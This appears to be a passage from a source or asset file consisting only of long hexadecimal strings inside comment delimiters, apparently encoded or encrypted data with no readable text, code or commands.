a3b5c5382d43c23ce36c07d2ea24f50260225ffdbaa62f5a69fae431a2288c2425a1767d8163ff0aa7d6c5dc7d51e313699254d92e256639ddd96ccc8b9765e19befc81934cc6f999cfe397c3769a0c5fe10c2e35c4a77951aaa61bba3f6a044528a80f770787642c526d6b981fc86aacb6362a460a1e54829692b84c557c77ceb6fb64f8bee244402f7a08fed16e616909ef6921fba219568319d07301dc5ca376622a101f6931c17f827af9e5ddd34c31464646bd67873682a5661089678c73e7864da31fff65e9f95c4b781ae37915f6da8c1863eb4b71827b64e4a9bb0c3655df70f01e981a137c8bce0ef8d661e71d6b111deae9d668539b6f5dcffb96cb2cdfbc8c906e17448cde157afd33fab8fd60609cddd7245c47e42a4de3f308abc4f569dd4240b5b68d8497110711ce8d05eeaa198b126bfabe8952911a5eaa764885c7f2b89b7c8c26fd5c6a7ee81c77fcf81b90789a4168a596406d7d*/
/*9561c658968318cfb1fff1bdbbbedf98244dc3cd96b4129e87c2b2377fe3e77ab7c7652ffd636a84cb2d0f69b77e5b0cf04ad8261d5ea4333895e15a0f6f4c349a598aec1b21f47bc017e688bdda0153ffcb6fd9be38dba732b5a08376a74779dcc55751b863f484cd1d30862a973889f4e11c9e6e3be69df4865fd3b77bcbec06a12fef77f987ca172dceca37ac87cd69b8beea95e4c0e9698f19343179d49167694284c05f88e9bd91c19f8ae783f01dc7004fc32940ce98d869da4941085a16757a469a59ff4a0a0f2a076968cc8e8e83010ce42a575dfc44839220da7df2bf0959c1f2176be962814babdf084c6162cc4b5af0c320784196af5c50d1d80c52d6d0e3d903393d2844baedcbe1f6bd12da8d90fd06cad9204231fccf7dd5d9265ee09c33cd7fd040d098cd5be408ea1d6d3e8b1aad38ab07d7515a64620603e1f8b42f3a31e217db593b3ab696b501f041cd52dcbc292cb930429bceba04e4a3d9572eb217839017e237d1486d6ed72f7273ba5935ae8593134a8042ea1ec46c66d54dfb33339c2ed19440b0da38e15893ed4a45e73042d5ff438d9e938c9351767851a756f6fb2ca83a8daf3492186c1ca748da31ba585a9b431552d73d05a0b6d77dabd79a0905aa9662f76caa09e1806cea080103c697b039d620fc1e0473c8c989ed9fe352f68bd42af8d21e5a58a80eb75378d324dcbdba3f472560d78712ab86c855d75e4d209239939e414be212a5968f18c6c06801e287aaeb7bfdad9ebc630cdb8fb1ff2897e7f75e0654dc0686066c12091ffb2646ce83b1eae5c948dd5071b8099534cb7816a9e4bfc8f2789c7911f530278477c407e493a7ab12cb9877e487e71af78be53efb1d1c7058b3456a3c3c4b9ee5e186d94e51e57048e90f3300d52317fa1aa29b57847b6849b02c359e5f0eeb2a7c1b0d257c2e61798f893f343f3d1c6e5e261753a9404c02597cf8c90b8b54b9dcce711addbace8d0891c23cb6d1d2ada899cf0daae6fbc8fc2b8beb3b16aceaca104c9b429f3fcb57c4234b70553f575eb0fcb3b617696ef15deb210f263b88aaafb241c5a9faac97a9d510bdb100f6cecbbac74a9de1ac6f19fbd6c32e1ec77fff33955bbfc050a5eb1d5db5a088021048ee5fec6e97f2e3008c801b5e758fc6e091d66a4f5699680fe05804470d31ba5c7acdd75cbd482b390eab1b67e9561d8e66ab6c78bc3a11480e45ea60e0e194c1c94e96034d836a1ad593fec72e48aa3a1ec18190a75c2340ec8ab41bf5608633596098097b07aac99aa206d4e9739c93808ebd5f79841e9d9b26440cacfee5a61ceb435af8d395d5c43d79b9fa3d4cc3d9e6ced88887efdf60cbdf9dce9ba1541575c00bf5e643a40187bd232cdc2c7a2e740c2d458abf1bb4bcdc783253101e901ce8d258087ef80ec4a0e9521db1ec4abc84544a7d523c8901f31fbb508791c6e252c9bbf156c6a60949c20ce2ab2b165a6d693dc82ea92a23b488cba58205f776497330a7df6f109e43ed813985b6fbfd9888bcd496636dd0191f86ed87042c6f5f0d4af16bf9d01f3cd011953ca7be9cd41e9119767eeaaeec5d3fab7eddc93957958db8a19210a93cc187db98661b1b3a590dbf952c6f33ae269b1a10d90cd28dac806ae53579b3f8b428a94ca3b6346b240462b7f510dcf8453b1af4b76f5e8b26096fceabd1a465954bcf760876ab23f16649e7ece27533d78457ed4fe614cde54a39180fbe7f32f240faae10136def139d5aaebb419394855aa2bc3221de49dbfdb852101c1c6ea6353b4852f80e14774f3a8d9a1e90463cdc8d328bbff27fb344dd435f9c6014bac53c09bd2f8ab446d1d852f921d1b2cc20a66992ef843d88d8d80a6c4402a45ec2f7121c829e42fb3fe8a2a92c1828a8a7abe35b60c081965a50dcd41e126e155a26f428805f1abba0afb6fda1d104ebf48d81be8c785658b782d09c291ccccc1e57e482c2afd315c6636101dc0a662bcbafb26972603034030e00252bb98d66e4d318cd2e2bf11f354321cefd35b20bb59ce03aad96fd420a47abda65910ad43d5968f0de9920768faf76d938ab43ad7827b96fa91178c063f9d7230dbdb22af8cfcf2b2cad0f175678d60cb506c95e30da300cb7a11f525889be5b8ec54e08a18aaeb39da16e68f87166156515d9585c448a7fd277258e83cbebe5bbf7699d96b5b87acf1aa66ec1e3623ca121077331e8944a3fd241d6d567c55d0d24b672dbfa931365fa6dc13798697cd8b42c2214d9be657e0353de11be6f5600c08ff1e7b2e59eb6779d8357896b7f0bd5b7752a2d3b6d96052dafd086bd8be3948ab109880f17b652b23be91badbf749f30426f0f7fdb773aedd8f1cd03e8a44e644e5718e35f7540a90a425b5fae14fa921442cac31717f96c9326a36e30f69b79ce573fb74ae0d7372054ab784fa5c17226995dcbac31ede3495353c689d79055d5313aff88989ac36b13ef2c451f1a5a56d49d0af161aa33792fa0bba44f6ce483b00081ba8344112ddf11b8ef28cfdb74d36bc07f7d53a618cb4f2e6d7ee4324b2e48c6d6b80f807c7085d0749e133b1d58a5e34e3c2023885c89fea8c2ba4aad03205061af620b923b760f6783af0797711a1fcdfbc556131986eac78150c0fa14de28e006247d120eb7f068fbe1280cc66f2f41d3d2b28e14abd0dddbcf4fe445c44f02c43f22899d1d7302f0be4946eb3205fe37f95fcbf613cdd17028faf1d947353af5d178649a0af0bbded591b49a669771808ac2076170881ccbf7e27d8054f59dc0ae0cf4a54855132cf49a0def62de8a600b780600*/